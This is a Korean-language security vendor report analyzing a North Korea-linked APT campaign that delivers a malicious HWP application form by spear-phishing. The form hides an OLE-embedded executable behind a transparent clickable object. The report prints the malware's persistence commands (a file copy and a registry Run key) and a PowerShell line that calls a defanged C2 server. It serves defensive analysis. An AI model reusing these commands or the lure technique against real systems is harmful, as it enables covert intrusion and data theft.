금성121 조직, HWP OLE 기반의 APT 공격 진행
안녕하세요? 이스트시큐리티 ESRC(시큐리티대응센터) 입니다.
2020년 하반기에 들어서면서 HWP 문서파일 공격기법에 변화가 감지되고 있습니다. 기존에 많이 쓰이던 포스트스크립트(PostScript) 방식에서 오브젝트 연결 삽입(OLE) 방식으로 변화되고 있습니다.
참고로 OLE란 'Object Linking and Embedding' 약자로서 객체 연결 및 삽입을 뜻하는데, 한컴에서는 <객체> 대신 <개체>라는 표현을 사용합니다. 그리고 복합 파일 이진 형식(CFBF : Compound File Binary Format)이라고도 불립니다.
ESRC는 2020년 12월 위협 행위자가 사용한 대표적 사례를 심층적으로 기술해 보고자 합니다.
1. 초기 침투 과정 요약
□ 1단계 : 궁금증을 유발하는 이메일을 전달
대부분의 HWP 문서기반 공격은 이메일 첨부파일로 전달해 위협노출을 유도하지만, 간혹 웹 게시판에 등록해 불특정 다수가 받아 열람하는 방식이나 SNS 또는 메신저로 직접 전달하는 수법도 사용됩니다.
최근에 포착된 사례 역시 이메일로 전달하는 이른바 스피어피싱 전술이 사용됐습니다.
이메일 제목에는 '확인 부탁 바랍니다.'라는 표현이 담겨 있고, 본문 내용없이 첨부파일만 '붙임 1_참가신청서.hwp' 문서가 포함돼 있습니다.
위협행위자는 공격 메일 발송 시 수신자로 하여금 최대한 호기심 유발을 자극해 첨부파일에 접근하도록 유도하는 것이 첫번째 목표입니다. 그리고 다운로드한 파일을 열고 다음 단계를 대기하게 됩니다.
□ 2단계 : 신청서를 작성하도록 클릭을 유도
만약 수신자가 해당 첨부파일을 다운로드 받아 실행할 경우 다음과 같은 화면이 보여집니다. (한컴오피스 2020 기준)
특정 공모전의 참가 신청서 내용을 담고 있어 성명 등의 정보를 입력하기 위해선 반드시 화면을 선택해야 하는데, 바로 이 과정이 위협요소 시작의 가장 핵심입니다.
육안상 보기에 별다른 특이점이 보이지 않지만, 사실 이 문서는 사각형 투명 오브젝트가 전체영역 크기로 설정돼 있고, 그것을 클릭할 경우 HWP 문서 내부의 악성 실행파일이 호출됩니다. 문서를 편집하기 위해선 반드시 이 과정이 필요합니다.
물론, 한컴오피스 2020 제품의 경우 연결 문서가 즉시 실행되는걸 우선 차단해 '컨트롤<Ctrl>' 키를 누른 채 클릭해야 하고, 보안 위험 안내 메시지를 출력해 외부 개체 또는 링크 실행을 기본 차단해 문서 보안 수준을 유지합니다.
따라서 이런 화면을 목격할 경우 절대 허용하지 말고 즉시 [취소]하는 것이 보안상 안전합니다.
OLE에 포함된 파일명은 'HncApp.exe'이며, 하이퍼 링크는 임시폴더(Temp) 경로명으로 윈도우10 이용자의 경우 다음과 같이 지정됩니다.
C:\Users\[사용자 계정]\AppData\Local\Temp |
지금까지 살펴본 단계별 내용을 정리해 보면, 이메일에 악성 HWP 문서를 첨부해 전달하고, 보안 취약점이 아닌 정상적인 OLE 기능을 악용해 악성 모듈을 문서에 삽입합니다. 그런 후 실행 유도하는 과정을 거치게 됩니다.
다음은 HWP 문서에 어떤 식으로 악성 코드들이 추가되어 있고, 무슨 기능을 수행하는지 분석해 보고자 합니다.
2. 악성 HWP 문서의 구조 분석
이메일에 첨부됐던 '1_참가신청서.hwp' 파일의 속성을 먼저 정리하면 다음과 같습니다.
파일명 |
작성자 |
마지막 수정자 |
생성시간 |
마지막 수정시간 |
MD5 |
1_참가신청서.hwp |
user |
Julias Cesar |
2020-07-10 01:01:55 (UTC) |
2020-12-06 07:37:31 (UTC) |
2c98cbb1a8eb04aeadb1be235ebb7231 |
HWP 문서의 내부 구조를 살펴보면 'BIN0002.OLE' 스트림이 포함된 것을 확인할 수 있습니다.
'BIN0002.OLE' 스트림에는 내부에 'HncApp.exe' 파일명으로 지정된 악성 파일이 포함된 것을 볼 수 있으며, 해당 파일 제작에 사용된 흔적과 HWP 마지막 수정자 계정인 'Julias Cesar'가 동일한 점을 비교할 수 있습니다.
공격자가 사용한 'Julias Cesar' 계정명이 마치 'Julius Caesar'와 흡사한데, 셰익스피어 작품에 나오는 줄리어스 시저를 모방한 것으로 추정됩니다.
[그림 6] BIN0002.OLE 영역에 포함된 악성 EXE 코드 화면
OLE 파일에 포함된 EXE 파일의 속성 정보는 다음과 같고 한국시간대 기준으로 12월 05일 제작됐습니다.
파일명 |
타임스탬프 |
MD5 |
HncApp.exe |
2020-12-05 09:19:45 (KST) |
B100F0AB63A2B74A5D5FF54D533FC60F |
'HncApp.exe' 악성파일은 주요 함수와 핵심 루틴을 XOR 로직으로 인코딩해 숨겨두었고, 다음과 같은 절차를 통해 실행됩니다.
오프셋 0x9e00 영역부터 16바이트 값을 가져와 XOR 디코딩 키로 사용하고 다음 4바이트를 파일 사이즈로 사용합니다. 그리고 나머지 93,696 바이트를 디코딩을 진행해 메모리에 로드합니다.
디코딩된 실행 파일의 속성 정보는 다음과 같고, 12월 04일 제작된 것을 알 수 있습니다.
파일명 |
타임스탬프 |
MD5 |
N/A |
2020-12-04 16:32:40 (KST) |
94471cec3c6a9c9a7a37da43de2d3cef |
디코딩된 파일은 중복실행 방지를 위해 뮤텍스(Mutex) 코드로 'KMJuiidse_Mutex' 문자열을 사용합니다.
복사본 생성 및 레지스트리 등록, 파워셸을 통한 명령제어(C2) 서버 주소 역시 16자리의 XOR 키로 디코딩 루틴을 사용합니다.
'cmd /c copy' 명령을 통해 임시폴더(Temp) 경로의 'HncApp.exe' 파일을 'IDMhelpAssist.exe' 이름으로 복사하고, 'C:\Users\Public\Documents\' 경로에 생성합니다.
해당 경로를 활용해 'IDMhelp' 이름의 레지스트리를 Run 값에 등록해 시스템 시작시 자동 실행하도록 설정합니다.
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v IDMhelp /t REG_SZ /f /d |
더불어 파워셸 명령과 암호화된 C2 서버 주소를 조합해 은밀히 통신을 수행하며, 위협 행위자가 준비한 추가 응답과 명령에 따라 정보탈취 및 원격제어 등의 행위를 수행할 수 있습니다.
파워셸 통신은 cmd 명령을 통해 다음과 같이 진행되고, 접속과 응답에 따라 임시폴더에 추가 파일이 생성됩니다. cmd /c powershell invoke-restmethod -uri [price365.co[.]kr/abbi/json/ps/aa.php] -method get -header @{‘cache-control’=’no-cache’} -body @{REQ=’Connect’;ID=’%d′}
3. 유사 사례 및 대응 방안 C2 주소로 사용된 'price365.co[.]kr' 주소는 2019년 08월 03일 [금성121 조직, 라자루스로 위장한 APT '이미테이션 게임' 등장] 내용에서도 기술한 바 있습니다. 지금까지 기술한 바와 같이 HWP 문서를 이용한 위협사례는 지속되고 있습니다. 특히, OLE 방식은 보안취약점 기법이 아니기 때문에 최신 제품과 업데이트된 버전을 사용해도 위험에 노출될 가능성이 존재합니다. 이처럼 이용자의 심리를 파고드는 형태로 사이버 공격이 진화를 거듭하고 있고, 북한과 연계된 것으로 알려진 APT 그룹의 활동이 증가해 각별한 주의가 필요한 시기입니다. 따라서 출처가 불분명하고 신뢰하기 어려운 내용의 접근을 자제하고, 이 메일 첨부파일은 항상 의심하며 알약(ALYac) 등 백신프로그램 사용을 생활화하는 노력이 필요합니다.